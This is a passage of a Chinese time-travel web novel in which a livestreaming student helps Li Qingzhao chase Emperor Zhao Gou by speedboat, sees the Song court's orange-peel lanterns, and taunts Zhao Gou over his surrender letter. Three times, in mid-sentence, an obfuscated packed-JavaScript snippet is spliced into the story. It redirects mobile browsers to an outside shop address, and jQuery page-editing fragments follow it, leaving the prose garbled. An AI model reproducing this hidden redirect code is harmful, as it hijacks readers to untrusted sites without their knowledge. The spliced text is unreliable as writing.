她不着痕迹地拭去眼中泪花,游夏并未察觉,可时时关注着李清照的直播间观众却将她的一举一动尽收眼底。 【明明没有说话,但就这一个眼神就让人知道她在演什么,好厉害的演技!】 【这会儿恐怕就连赵构都不知道大宋能不能挺过去,换任何一个宋人知道九百年后华夏依然在都得痛哭流涕】 【我要能遇到未来之人,肯定抑制不住好奇心,想问问未来发生了什么,易安居士居然一句都没问,这就是我和历史名人的差距吗……】 【或许对于李清照来说,看到汉字还在、知道华夏还在就够了,未来之事虚无缥缈,她更重当下,就比如现在,比起追问未来,她更想知道如何能尽快追上赵构、保全宝物】 【话说李清照最后追上赵构了吗?】 【没追上啊,赵构逃跑的速度那叫一个快,李清照每次都只能吃他的船尾气】 【他逃她追,他插翅就飞】 【一人血书求主播带易安居士一起追赵构!!】 【+111】 【姐妹们醒醒,你们忘了主播只有一艘破皮划艇了吗,怎么带易安居士追……】 游夏吃得面颊发热,手对着脸扇风,好叫脸上的温度降下,李清照才收拾好情绪,就见她双颊通红的模样,一时忍俊不禁。 游夏不知李清照为何闷笑,疑心自己埋头苦吃,错过了什么,立刻瞥了眼弹幕,看看有没有好心的观众告诉她。 她抬眼,只见一颗巨大的深水鱼雷在直播间内炸开。 【主播主播!!和易安居士一起去追赵构吧!我们想看!】 那可是一颗深水鱼雷啊!若非游夏时刻谨记要在李清照面前保持形象,她此刻的嘴巴一定张得老大。 “易安居士,您还要去找赵构吗?”游夏搓了搓手,双手合十,“去的话,介不介意带上我?” 李清照自然还是要去找赵构的,她一路颠沛流离,从前保存的金石古籍散失大半,她担心再寻不得赵构,剩下的东西也没了。 得了李清照的应允,游夏喜上眉梢,直播间的观众也高兴,给游夏砸了一堆礼物。 【主播是要和李清照一起坐这艘船去追赵构吗?不太可能追上呢】 【对啊,真实历史里李清照雇舟入海追赵构是没追上的,总不能主播上了这船,就追上了吧?这不就是bug了?】 游夏快速浏览着弹幕,心下明白按着这艘船的速度是追不上赵构的,那换艘船呢? 这样想着,游夏点开系统商城,惊喜地发现积攒的能量竟然够换一艘快艇了,再一看直播间的人数,竟在不知不觉中涨到了五百人! 那这还说什么?游夏大手一挥,兑换了快艇。 见游夏毫不犹豫地兑换快艇,系统再三确认,这几乎要花光游夏拥有的全部能量:“宝子,确定要换快艇吗?” 游夏眼睛一瞪:“不然呢?让易安居士跟我一起划那破皮划艇吗?” 让易安居士受累的事,她做不到! “易安居士,我从未来带了一艘船来,它的速度很快,说是日行千里、夜行八百也不为过,坐上它,追上赵构分分钟的事!”游夏像是销售员一样,将快艇夸得天花乱坠,极力推销,最后才图穷匕见,“您愿意和我同乘吗?” 李清照意动,目光扫过舱室角落被盖住的箱笼,刚要开口,游夏便道:“这些金石古籍您不用担心,我有办法带走。” 她走过去,将手放在箱笼上,被她触碰过的箱笼原地消失,狭小的舱室因为这些箱笼的消失都变得开阔起来。 “我把它们放在我的储物空间里,放进去是什么样,拿出来就还是什么样,”游夏拍拍胸脯,让李清照把心放回肚子里,“就是我掉水里,它们都坏不了。” 最后的顾虑也被打消,李清照不再犹豫,在桌上留下一张字条和一袋银钱,便与游夏出了舱室,往船尾走去。 走前游夏也没忘记将那两桶方便面放进空间里,事不宜迟,两人都决定将填饱肚子的事放在追上赵构之后,观众遗憾没看见李清照吃方便面的样子,又对接下来的剧情期待无比。 【居然真的一起去追赵构了!所以直播间的剧情走向是不是可以由我们观众决定?】 【会不会编剧就是这么写的?毕竟现编现写,演员表演、场景调度的难度未免也太大了】 一艘通身银白的快艇出现在船下,月光照耀下,快艇在海面上散发着冰冷的光芒。 看见这等奇异之事,李清照眼睛都没眨一下。未来之人都活生生地站在面前,凭空出现一艘船又有什么稀奇的? 系统兑换好升降绳,指导游夏给李清照穿戴好。经过一番折腾,二人终于上了快艇。 具有智能驾驶功能的快艇所需的能量太多,游夏目前的能量只够兑换这艘人工驾驶的快艇。 快艇不大,能坐四五个人左右,驾驶座前的每个操作按钮旁都贴着使用说明。 游夏去年拿了自动挡驾照后就没碰过车,更别说她从没摸过的快艇,她仔细地看着操作说明,嘴里对李清照道歉:“稍等,我再研究研究,我第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352936|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次开这玩意儿。” 游夏不知道自己世界的快艇是怎么开的,反正系统商城出品的这艘快艇操作很简单,跟开车差不多,她应该很快就能上手。 李清照点头,也跟着游夏一起看操作说明,虽然这些字缺胳膊少腿,但连蒙带猜,她还是能看懂的。 …… 十分钟之后,快艇发动,如离弦之箭一般冲了出去。只是坐在驾驶座上的人并非是拥有C2驾照的现代大学生游夏,而是时年四十六岁的宋朝人李清照。 李清照握着方向盘,脚下使力,猛踩油门,身旁的游夏死死抓住安全带,没敢吭声。 所以天才不管干什么都是天才是吗? 游夏:我就知道古代埋没了很多驾驶天才! 系统在她脑中吐槽:“让你开的话,你估计等到天亮才敢启动。” 游夏:“有屏蔽功能吗?我要屏蔽你!” 她考完驾照就没碰过车,更别提在没有老司机的情况下驾驶,最重要的是她还要载李清照。 那可是李清照啊,要是她没开好船,让人伤着了,那她都想把自己按海里了。 因着种种顾虑,游夏光是做心理建设就做了半天,最后是李清照看出她的紧张,主动提出自己试试。 【主播你怎么好意思让李清照给你当司机?】 【救命,李清照和快艇是怎么组合到一起的】 【我了个李清照开快艇,谁快截图做个表情包】 【在做了在做了,要不要p个墨镜,我女神太酷了!!】 【我也想坐李清照开的快艇,哪怕是让我住豪宅我也愿意】 感受到弹幕字里行间的羡慕,游夏的虚荣心得到极大的满足,嘴歪到外太空:划了一下午船很累,但现在值了!一切都值了! 李清照并不知道直播间现在有多热闹,她看似沉静地望着前方,微眯起眼,眼中泄露出几丝新奇和享受。 开了一会,有了手感,李清照无师自通地松开一只手,单手操纵着方向盘,身子后仰靠在驾驶座的靠背上,快速行驶带起的疾风吹动她的头发,鬓边的些许银丝在风中乱舞。 茫茫大海,银白快艇如一颗流星般划过海面。 海上雾气弥散,天上银河转动,瑰丽无比,李清照眯着眼,感受着风从耳侧呼啸而过。 入海数日所积攒的灵感在这一刻爆发,胸腔中的浓烈情感喷涌而出,李清照的声音低而轻:“天接云涛连晓雾,星河欲转千帆舞。”[2] “仿佛梦魂归帝所。闻天语,殷勤问我归何处。” 风将李清照的声音送到游夏耳旁,落在她耳中的声音却是缓而沉的,“我报路长嗟日暮,学诗谩有惊人句。” 海面兴起一阵大浪,浪花扑打在快艇的舷壁,似是在应和李清照的吟诵。 李清照曾无数次自颠簸中惊醒,独自登上船头,眺望同在风浪中前行的舟船,仰望流转的星河,这些与陆地上迥异的瑰丽景色时常让她觉得自己像在梦境中,有过一瞬间,她甚至怀疑游夏是她幻想出来的人,今夜所经历的一切只是她的一场梦。 “九万里风鹏正举。” 包裹着方向盘的皮革被李清照握得微微发热,迎面而来的疾风打在她的脸上,她不由得想,若世上真有大鹏鸟,坐在它的背上又会是怎样的感受?九百年后的人造出来的船会比大鹏鸟的速度还快吗? 伴着快艇引擎发出的轰鸣,她的声音忽地大起来,“风休住,蓬舟吹取三山去!” 李清照忽然有些好奇,九百年后的人间与她所向往的世外仙山相比,又当如何? 耳机里回荡着海浪的声音,于妙言沉浸在李清照的词句里,她仿佛不是在自己的卧室里,而是和李清照同处在一艘船上,眼前是浩渺烟波,是惊涛骇浪,是满天星河,她像是入了李清照的梦中,听她对答天帝,听她诉说理想。 直播间的弹幕陷入短暂的停滞后呈爆炸式的增长,于妙言如梦初醒,从不在直播间刷礼物的她第一次投下一颗雷。 【第一次体会到诗词的音律美,平时我们都只顾着背诗,错过了好多】 【《渔家傲·记梦》!李清照豪放词作的巅峰之作!】 【明明是在用诗描绘眼前的景象,听李清照念词,却觉得她的词比景还要美】 【原来这才是语文老师天天强调的要有情感】 【别人念诗词我会觉得装装的,这个演员的表演却让我觉得此情此景就该念诗就该念词】 作为李清照作诗现场的唯一观众,游夏感受到的冲击是观众感受到的数十倍,直到这一刻,她才对自己身处宋朝,与大词人李清照同乘一船有了实感。 只有她知道这并非是一位演员的精湛表演,而是一位大词人兴之所至的即兴创作,她何其有幸,能亲眼见证一首千古词作的诞生! 心中情感万千,游夏想说些什么,却见不远处的海面上浮出一点光亮,那光亮越来越近,将李清照和游夏的注意力全都引了过去,待那光亮行至船边,二人定睛一看,才发现那竟是一盏橘灯。 5. 第 5 章 章安镇临海,时有船只停靠,却从未有哪日像这段时间热闹。 大大小小的船只停泊在岸边,几艘船上插着黄旗,其上各写着“参”、“枢”等字,还有一艘船的桅杆上绑着红丝缨,正被风吹得乱舞。[1] 红丝缨在风中缠绕,搅作一团,一如赵构烦乱的心绪。 自入海以来,赵构夜夜难以安睡,侍从宽慰他,说是船上颠簸才使他不得好眠,可近日他常在岸上寺庙中过夜,仍是辗转反侧,久久不能入睡。 今夜亦是如此,既是睡不着,索性来舱外走走。 皓月当空,水天一色。 “今日是……上元节?”赵构望着那形若玉盘的月亮,忽地开口问道。 “回官家,今日正是正月十五。”身旁的侍从低眉顺眼,轻声回答。 上元节啊…… 赵构不由得忆起昔年上元佳节,都城内张灯结彩,街上人潮汹涌、车水马龙,灯火连绵数里不绝,欢声笑语至天明不断,那时的大宋恍若天上人间。 赵构闭上眼,当时只道是寻常。 时至今日,赵构依然想不明白,为何他会沦落至此,为何大宋变成了这番模样? “那两艘船是怎么回事?” 远处飘来两条船,看上去没有避让的意思,直直地朝船队方向过来,赵构神经一紧,没工夫伤春悲秋,忙令人前去打探。 禁卫很快来报:“回官家,那是两条贩卖柑橘的船,只因风大才没能控住船,险些惊扰官家。” 原来是虚惊一场。 赵构松口气,不是金人追上来便好,方才的怅惘已消失的一干二净,他看着那两艘尚未离去的船,沉吟片刻道:“把那两船柑橘买下。”[2] - 御船船队在章安镇驻留数日,时有人上岸与章安镇百姓采买交易,镇中百姓也从最开始的惴惴不安到现在的习以为常,不少百姓会挑着货物来岸边卖。 此时已入夜,岸上虽不如白天热闹,却也有零星摊贩还支着棚子。 牛大正是摊贩之一,他席地而坐,身前放着两个竹筐,里面是他带来卖的炊饼。 他望着远处的御船,琢磨着船队停在他们章安镇大半个月,一点离开的意思都没有,便对一旁的摊贩说道:“你说官家会不会就呆在咱们这不走了吧?” “你想什么呢?皇帝怎么可能一直在海上飘着?“那摊贩名高山,他压低嗓子,声音里带着些讽刺,“我估摸等金人打过来皇帝就走了。” 他这些日子算是看明白了,他们如今这位官家最擅长的就是一个“跑”字。 “你说金人要真打过来,咱们怎么办?”牛大想到那传闻中凶蛮的金人,打了个冷颤。 “跑?皇帝都被金人逮住了,咱们跑得掉吗?”高山话中的皇帝自然不是正在御船上望月的赵构,他说的是赵构的父兄、大宋往上数的两位皇帝——赵佶和赵桓。 虽说现在这位皇帝胆小如鼠,只知道逃跑,但比起赵佶和赵桓,现在的皇帝都算得上是不错的了。 “那道君皇帝昏庸无能,成天就知道修道!”高山把“道君皇帝”四个字咬得极重,脸上满是愤慨,那皇帝既喜欢修道,为何不干脆不要皇位去当道士?何苦来祸害他们这些平头老百姓? 道君皇帝正是赵构的父亲赵佶,他痴迷道学,大肆修建道观,还自封为教主道君皇帝,当年金军兵临城下,赵佶火急火燎地把皇位甩给儿子赵桓,自己当了太上皇,都不忘在前头加个教主道君,成了教主道君太上皇。[3] “他要是成天只知道修道就好咯!”牛大晃了晃头,遗憾地说道,“你说皇帝没有活要干吗?他怎么能有那么多爱好?” 也不知道这赵佶哪来那么多爱好,爱修道、爱书法、爱画画,还爱收集奇花异石,样样都烧钱,为了收集奇花异石,还搞出个花石纲来! 纲是宋时运送货物的一种组织编制,把货物编组,一组即为一纲,运送马匹便为马纲,马以五十匹为一纲,运送奇花异石的便是花石纲,花石以船运输,十艘船为一纲。[4] 收集花石耗费的人力物力之大,弄得民不聊生,赵佶统治期间时有起义,这花石纲便是起义的重要导火索之一。 他儿子赵桓更是个昏头的东西,金人兵临城下之时,竟妄图靠术法守城。[5] 最后的结果就是两个皇帝和宗室子弟被金人一锅端,请去“做客”,剩下个新帝被金军追得抱头鼠窜,现在还在海上飘着。 牛大没忍住啐了一口,如果不是这两个软蛋昏君,他们大宋怎么会变成现在这副模样? 两人骂得正欢畅,忽而听见一声高呼:“快看海上!” 不知是谁最先注意到海面,惊呼出声。众人循声望去,就见不远处的海面上出现零星灯火。 起初他们只以为是海面如镜,映出天上星子,可渐渐地,他们听见数艘海船之中的传来窃窃私语,船队中传出的声响越来越大。 无数双手捧着一点星火从船中探出身来,俯身将手中光亮推入海中,也有兵士脱了鞋,挽起裤脚,踏入滩涂,小心翼翼地将手中光亮放入海中,轻轻推远。 万盏灯火浮于海上,好似天河坠落。一点星火明明灭灭,晃晃悠悠地朝岸边飘来,待它近了,众人才发现,那竟是一盏橘皮做的灯。 原是赵构命人分赏柑橘,嘱咐他们吃完柑橘后留下橘皮,在橘皮中贮上油,将其点亮放入海中。 既是上元佳节,怎能不赏灯? 看到如此奇观,岸边的章安镇人呼朋唤友,人群如潮水一般涌向金鳌峰,那里地势高峻,视野开阔,最是适合观海。 牛大和高山也停了咒骂,收拾了东西,急着回家带家人出来看热闹。 章安镇寂静无声的夜晚因为这橘灯变得喧闹起来。 听着不远处的嘈杂,侍从问道:“官家,可要命百姓归家?” 侍从知道赵构喜静,且因着金军追赶,弄得他风声鹤唳、草木皆兵,今夜这般大的声响,他担心赵构又不得好眠。 “不必,今夜我与百姓同乐。”赵构挥手,示意不必,眼中难得带上笑意。 章安镇人及至峰顶,遥望海面,便见海天相接之处,点点火光恍若在海中穿行的游龙,时明时灭。 此情此景,不由得让人诗兴大发,金鳌峰上、御船船队中有好些人当即便要作诗一首,很久没有今日这般畅快的李清照亦是如此,尽管才作出一首好词,但这海上橘灯的盛景又给予了她新的灵感,她文思泉涌,目光悠远,正欲启唇,便听一声—— “我的天,好美!” 李清照:? 在这个世界,看到这个场景,能说出这个话的人,除了游夏,不作他想。 李清照:……不知怎得,作词兴致突然就没了。 见李清照那副欲言又止的模样,游夏没好意思看她,想着要不吟句背过的诗? 灯、灯、灯…… 蓦然回首,那人却在灯火阑珊处? 不行不行,不合适。 游夏搜肠刮肚,愣是想不起自己学过什么符合此情此景的诗句。 语文老师,对不起!给你丢人了!这不能怪我,你也没教过我作诗啊! 【主播,你这样会让我女神觉得我们现代人很没文化的!】 【明明丢人的是主播,为什么我也觉得好尴尬?】 【这么大制作的直播怎么选了这么个主播?就算自己不会写诗,好歹背一首呀,还不如让我上,我可以无酬!】 其实这个问题,游夏也问过系统,华夏那么多人,为什么偏偏选了她? 当时她竟从系统的机械音中听出了些许沧桑:“谁让我降落到你们村里?方圆十里,除了小孩就是老人,你是让我选你那话都还说不清楚的小侄女还是你那坐轮椅上的三舅奶奶?” 游夏:感谢学校放假早,让我能早早回老家避暑,成为全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352937|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村唯一适龄青年。 【主播都说这是旅游直播,咱们就当看风景啦,光凭这段海上橘灯我就愿意刷好多礼物!如果是特效,那特效师厉害,如果是实景,那我将为制作组募捐!!】 如果是实景拍摄,那这个直播的直播成本未免高得吓人。 有热心观众在弹幕里为大家附上赵构海上放橘灯的史料。 【难道你们都不在意赵构逃命还有闲情逸致放灯这件事吗??居然还是真实历史,我真的要笑死了,虽然在逃命,但也要活得体面是吧?】 【赵构:朕要的就是一个体面】 【不是,我以为赵构逃命的时候会很狼狈,这会还有心情放灯,怎么感觉他日子过得还挺不错的?】 【其实还是挺狼狈的,毕竟人家以前放的那都是各种奇灯,这会只能放个橘灯】 【不愧是宋朝哈,就是注重精神生活】 【李清照逃难途中赌博,你们说是松弛,赵构放个橘灯,怎么就嘲笑了?】 【因为赵构是皇帝啊!!他是全天下最没资格在逃难途中享受的人!】 【其实这是一场政治表演,赵构分橘子是在笼络臣心,放橘灯是为了安抚人心,还是挺有政治智慧的】 【真的吗?不太信,一个橘子能有这么大作用?】 【好像只有我真把这当旅游直播间,一直在截图耶】 二人自碰见第一盏橘灯后,沿途遇见的橘灯便越来越多,这些橘灯仿佛有生命一般,在海中漂流许久,只为给她们引路,正因如此,她们才能这么快找到船队所在。 李清照将快艇停在一块巨石后:“小夏,这快艇不宜出现在官家面前,我们另想法子靠近御船。” 路上李清照问游夏,在游夏那个时代自己应该如何称呼她,游夏扭扭捏捏地让李清照称呼她为小夏。 如果不是在直播,游夏在听见第一声“小夏”的时候就会幸福到晕过去 不宜出现在赵构面前? 游夏福至心灵,不用李清照明说,她就懂了对方为什么会这么说。 快艇体型小、速度快,在这个被金人追杀的节骨眼上,简直就是逃命神器。这种东西出现在赵构面前,那是百分百要被“征用”的。 游夏扬了下眉,思维突然发散,想起了关于赵构祖宗宋太宗赵光义的网络热梗。 据说赵光义曾在高梁河之战驾驴车光速逃命,一战成名获封高梁河车神,如果开快艇的赵构和驾驴车的赵光义要是能比个赛的话……[6] 游夏根本不敢想她的直播间热度会有多高! “小夏?”李清照又喊了一声,这孩子怎么突然神游了? 游夏回过神,甩甩脑子,警告自己别想那些有的没的。 她是真想看赵构开快艇逃命的热闹,但到底嫌麻烦,不想横生波折,于是重新掏出陪她奋斗一下午的皮划艇,拉着李清照坐了上去。 快艇被系统收进储物空间,游夏本打算自己一个人划船,李清照坐着就好,奈何对方执意要与她一起划,游夏只得将浆递给李清照。 她不知道李清照会不会划船,嘴里絮絮叨叨地传授着自己的划船心得。李清照其实会划船,不过她没打断游夏的絮絮叨叨,含笑听着。 这里离赵构所在的御船不远,划船过去很快就能到。二人配合默契,驾着皮划艇在簇拥着御船的船队中穿行。 皮划艇通身漆黑,且体型小巧,加之禁军都沉浸在橘灯美景之中,一时间竟没人注意到正有两人驾着怪异的船只悄然靠近御船。 游夏在脑海中夸赞系统,多亏它的导航功能,让她精准找到赵构所在船只。 她在系统商城里搜索着有什么道具能让她和李清照神不知鬼不觉地登上御船,毕竟见皇帝是要走流程的,太麻烦了。 按影视剧里演的,要找人通传,赵构还不一定见,就算要见,还得等传唤,现实只会更麻烦。 “什么人!?” 6. 第 6 章 一声中气十足的暴呵吓得游夏打了个激灵,捂着扑通乱跳的心脏瞪视过去,就见几名高大军士站在船上,居高临下地看着她们,眼神极为警惕。 禁卫面上一派严肃,心下后怕,暗恼自己怎能因着放灯而懈怠,险些让两个来历不明的女子靠近御船。 若是官家出事,他们真是万死难辞其咎。 想到这里,禁卫心中一凛,更加仔细地打量起游夏和李清照。这一看,他们对两人的怀疑便更深了。 船怪,人也怪。 游夏的眉毛皱成了八字,糟糕,还是被发现了。 李清照放下船桨,理了理衣衫,随后朗声道:“烦请通传,故宰相赵挺之儿媳,前莱州郡守赵明诚之妻李氏求见官家。” 【女神你可知我们一般都喊“李清照的公公”、“李清照的丈夫”】 【要见皇帝嘛,自然得把家里当官的拉出来遛遛】 【谁懂刚刚去千度搜赵挺之的资料,看到他的身份介绍里专门写了“词人李清照的公公”的爽感】 【任他们当时官再大,搁现在也只能是“李清照的XX”】 【宰相数不胜数,但李清照只有一个】 - “赵挺之、赵明诚?”赵构的目光从那片橘灯海上挪开,扭头看那前来通报的禁卫。 虽然赵挺之去世那年,赵构才出生,但毕竟是前朝宰相,赵构自然知晓赵挺之是何许人也,而赵明诚他就更熟悉了,赵明诚的湖州知州调令可是他点过头的。 若是别人,赵构或许会立刻允她面圣,可这李氏…… “是那个写《夏日绝句》的李易安?”赵构问道。 “回官家,正是。”侍从回话时眼中隐有精光闪烁,“易安居士冒死求见官家,是为将昔日同其亡夫收藏的金石字画献给官家,此等赤胆忠心,叫人叹服,官家不若一见……” 他话还没说完,赵构便斜了他一眼,侍从顷刻噤声,不敢再言,暗怪自个儿多嘴,饶是再想一观易安居士风采,也不该试图左右官家决断。 何况《夏日绝句》天下传颂,人人皆赞诗中气魄,人人也皆知这诗是在讽刺朝廷,作为被讽刺的对象,官家能想见易安居士就怪了! 至今思项羽,不肯过江东。 初听时的那股热血沸腾之感再度涌上心头,侍从遗憾万分地想着:可惜,错过此番,此生怕是无缘得见易安居士了。 赵构个人情感上是不太想见李清照的,可犹豫再三,思及赵明诚是收到调令,前来面见他的途中染病去世的,又觉可借李清照献金石一事上做文章—— 李易安颠沛三千里,冒死献金石。 这跌宕起伏的故事可比任何提振军民士气的诏书来得有用,便道:“也罢,带她上来。” 经过层层搜身,李清照和游夏才被带往赵构面前,李清照问游夏搜身时可有遇见什么事,她担心宫人因为游夏的装束而对她做些什么。 游夏正低头拉上外套拉链,闻言摇了摇头,方才宫女搜身,请她脱下外衣,见对方甚是好奇她的衣服,她还给对方演示了一番拉链的使用方法。 “托居士的福,她们知道我是同您一起来的,并未为难我。” 刚才负责搜身的宫女们一边搜着她的身,一边同她说话,字里行间满是对游夏能伴在李清照身旁的艳羡,担心游夏御前失仪,还贴心地教了游夏面圣时的礼仪,引得观众纷纷表示易安居士的迷妹们果然无处不在。 领路禁军提着灯笼,但对于习惯现代明亮光芒的游夏来说,这光还是太暗了,弄得她半天对不准拉链的卡扣,直到到了赵构身前才将将扣上。 李清照礼数周全地向赵构行礼,游夏落后她一步,想了又想,对着赵构鞠了三次躬。 她是个识时务的人,如果是穿到封建王朝,需要下跪,她可不会想着自己是新时代人,不轻易下跪,毕竟保命要紧,但她现在不是单纯的穿越,她是旅游啊! 有系统在,她不会受到伤害,根本不需要怕什么皇帝,没人喜欢下跪,既然生命又不会受到威胁,她干嘛要跪?更别说向赵构这种皇帝下跪。 就是可惜了宫女姐姐们专门教她面圣礼仪的一番好意。 【我要笑死了,三鞠躬吗哈哈哈那主播对赵构很尊敬了!】 【对待走了几百年的逝者,当然要尊敬了!】 【赵构在我心里一直是个瘦小老头模样,突然看到这么年轻的赵构,还有点不适应呢】 【22岁的赵构在当皇帝,22岁的我在当牛马,我真的要怒了!】 赵构的目光落在李清照身上,他怎么也想不到能写出《夏日绝句》那般辛辣之作的人竟是眼前这年近五十的消瘦妇人。 是的,旁人读《夏日绝句》或觉悲壮或生豪情万丈,赵构却觉面皮燥热,认为这是辛辣之作,谁让被讽刺的是他? 饶是他心中百转千回,面上却并未表露,而是满眼动容,亲自走到李清照面前,轻抬她的手臂:“夫人不必多礼。” 二人是以君主和臣子遗孀身份相见,赵构也无意同她谈论诗词,他担心谈着谈着,李清照借着诗词暗讽于他,他可不想给自己找气受,因而赵构只唤李清照为夫人,相信李清照也能懂他的意思,不要说些多余的话。 “夫人来意,我已知晓。夫人与赵知府的半生心血,我必令人妥善保管,不负夫人不顾生死、追随千里的一片忠心,”赵构又道,“夫人忠勇可嘉,我定当重赏。” 对李清照来说,能将金石送入朝廷,使其得到妥善保管便是对她最大的奖赏,至于旁的,她并不在意。 “回官家,臣妇别无所求,只是这一路上多亏游娘子相助,臣妇才有幸见到官家,还望官家能奖赏游娘子一二。” 方才游夏划船时曾用玻璃瓶装了海水,又小心捧起一盏险些被浪打翻的橘灯,将之收入储存空间,说是要将这九百年前的海水和橘灯作为她这次旅行的纪念品,好好珍藏起来。 李清照看在眼里记在心里,便想趁此机会从赵构这儿为游夏讨要“纪念品”。 赵构再不堪也是个皇帝,对于千里迢迢来大宋旅游的游夏来说,皇帝给的东西,纪念意义应当更加非凡。 闻言,赵构看向站在一旁的女子,他一早就注意到此人,没有其他原因,单纯因为她怪异的装束,半点不似他们大宋之人。行礼之时,这女子也只是草草敷衍,不知道的还以为她是在弯腰活动筋骨。 此人通身毫无贵气可言,应该只是个平民女子,难免礼数不周,他自诩是个仁善的皇帝,便不与她计较了。 思及此,赵构露出一个温和的笑容,若是寻常人见了,必然觉得眼前的皇帝平易近人、和蔼可亲,他温声道:“游娘子,你可有什么想要的?” 游夏低着头,她在摸鱼。 顺着她的视线,透明的屏幕上飘着数不清的弹幕,每条弹幕都极长,在屏幕上快速地滚动。若是赵构能看见屏幕,定会勃然大怒,因为这些弹幕全在骂他。 【哟哟哟这不是大宋康王完颜构吗】 【我就吃个夜宵,低个头的功夫,败胃口的东西怎么就出来了?】 【主播主播,你说要他的乞哀书看看呗,想看赵狗表演变脸,嘻嘻】 游夏看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352938|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得津津有味,冷不丁听到赵构问她想要什么东西,她顺嘴就把弹幕上提到的乞哀书说了出来。 “啊?我想看看你写的乞哀书……” 话音刚落,她就感觉气氛变了,变得极其不对劲。 游夏抬起头,就见赵构身后的侍从全都低下了头,有人额上还冒着虚汗,甚至还有人的身子在发抖。 游夏后知后觉地眨了眨眼,这才反应过来自己刚刚说了什么。 【主播主播,贴脸开大爽不爽?】 【主播爽不爽我不知道,反正我是爽了】 【根本不敢想赵构现在有多难受哈哈哈】 【乞哀书是不是就是那个著名的“臣构言”?】 【不是哦,赵构这会儿给金人写的乞哀书是《与元帅书》,自比小邦,捧金国为大国,“臣构言”是1141年写的《上金朝誓表》,直接称臣,那会才是演都不演了,相比之下,这会他还没那么不要脸】[1] 【就算是自比小邦我也觉得他很不要脸啊啊啊!!】 游夏的目光移回赵构身上,这位面白瘦削的皇帝脸色极为不好,如便秘一般,脸黑了又白,白了又黄,最终发出一声怒吼,像是便秘许久后气沉丹田试图一泻千里的蓄力一击—— “大胆!“ 突如其来的吼声刺得游夏耳膜发痛,她揉着耳朵,看着那勃然大怒的皇帝:“不给就不给呗,叫那么大声做什么?不想给干嘛问我要什么,真是,说了又不给。” 赵构一噎,这人莫非是个傻子?她不知道自己在和皇帝说话吗? 比起游夏说话的态度,赵构更在意的是这个来历不明的女子怎会知道他写了乞哀书的事情? 投降这种事不光彩,更别提一国之君亲自给敌人写投降书,从赵构本人到一众臣子都不希望百姓知道这件事,所以这份投降书没有公之于众,而是秘密送往金国。 知道这件事的人少之又少,顶多是有人看得出朝廷软弱,有想投降的意思,压根不知道他们的皇帝早把写好的投降书送到了金人手上。 信是去年八月写的,然而金人不为所动,到现在都还在追他。 赵构惊于游夏一介平民竟知道这等机要之事,目光扫视一圈,侍从禁卫早已调整好情绪,脸色平静得像什么都没听到,他才重新把视线落在游夏身上,压低了嗓子质问:“你怎知朕写了乞哀书?” 他不再自称我,而是自称朕,褪去平易近人的伪装,试图靠着自己的帝王威严震慑住眼前这口出狂言的小娘子。 “啧!”游夏皱眉,看着赵构的眼里满是嫌弃,真不知道他怎么好意思把那三个字“大声”说出来的,她高声指责,“低声些,这难道光彩吗?” 【笑得我妈以为公鸡打鸣天亮了哈哈哈】 【主播(超大声):低声些!这难道光彩吗?】 【赵构:我还不够小声吗?我请问呢?我们俩到底谁声音更大?】 “我知道你写乞哀书之后是彻底不要脸了,但你也不能大剌剌地告诉所有人你写过乞哀书啊?写乞哀书这么不光彩的事情怎么能这么大声地说出来?还问我‘你怎么知道我赵构写了乞哀书’,那我问你,你写乞哀书这么大的事是瞒得住的吗?” 一句话把“乞哀书”三个字翻来覆去地提,赵构听得额头青筋直跳,险些维持不住威严表象,恨不得上手把游夏的嘴堵上,而对方的下一句话更是让他两眼一黑。 “而且我告诉你,不止我知道,”游夏露出八颗牙齿,露出一个大大的笑容,“我们那儿的人都知道。” 我!们!那!儿!的!人!都!知!道! 7. 第 7 章 赵构一时间头晕目眩,身形一晃,侍从急忙上前,手臂被赵构死死掐住,侍从忍痛搀扶,而赵构则在脑中将知道此事的人都过了个遍。 是谁?! 到底是谁走漏了风声?! “一派胡言!”赵构怒极反笑,“将这妖言惑众之人压下去,好好审问,朕倒要看看她是何人派来的奸细,妄图以此谣言动摇军心!” 他刚以橘灯安抚军民,游夏就在这时蹦出来扰乱军心,很难不让他怀疑是不是有人在暗中捣鬼。是那些主战的武官派她来,意图以民愤逼他出击?还是金人派来搅浑水的? 李清照之前便察觉朝廷想要求和的意图,民间也早有风声,但从游夏口中得知此事还是让她胸中郁愤,恨不得将眼前的怂包皇帝骂个狗血淋头。 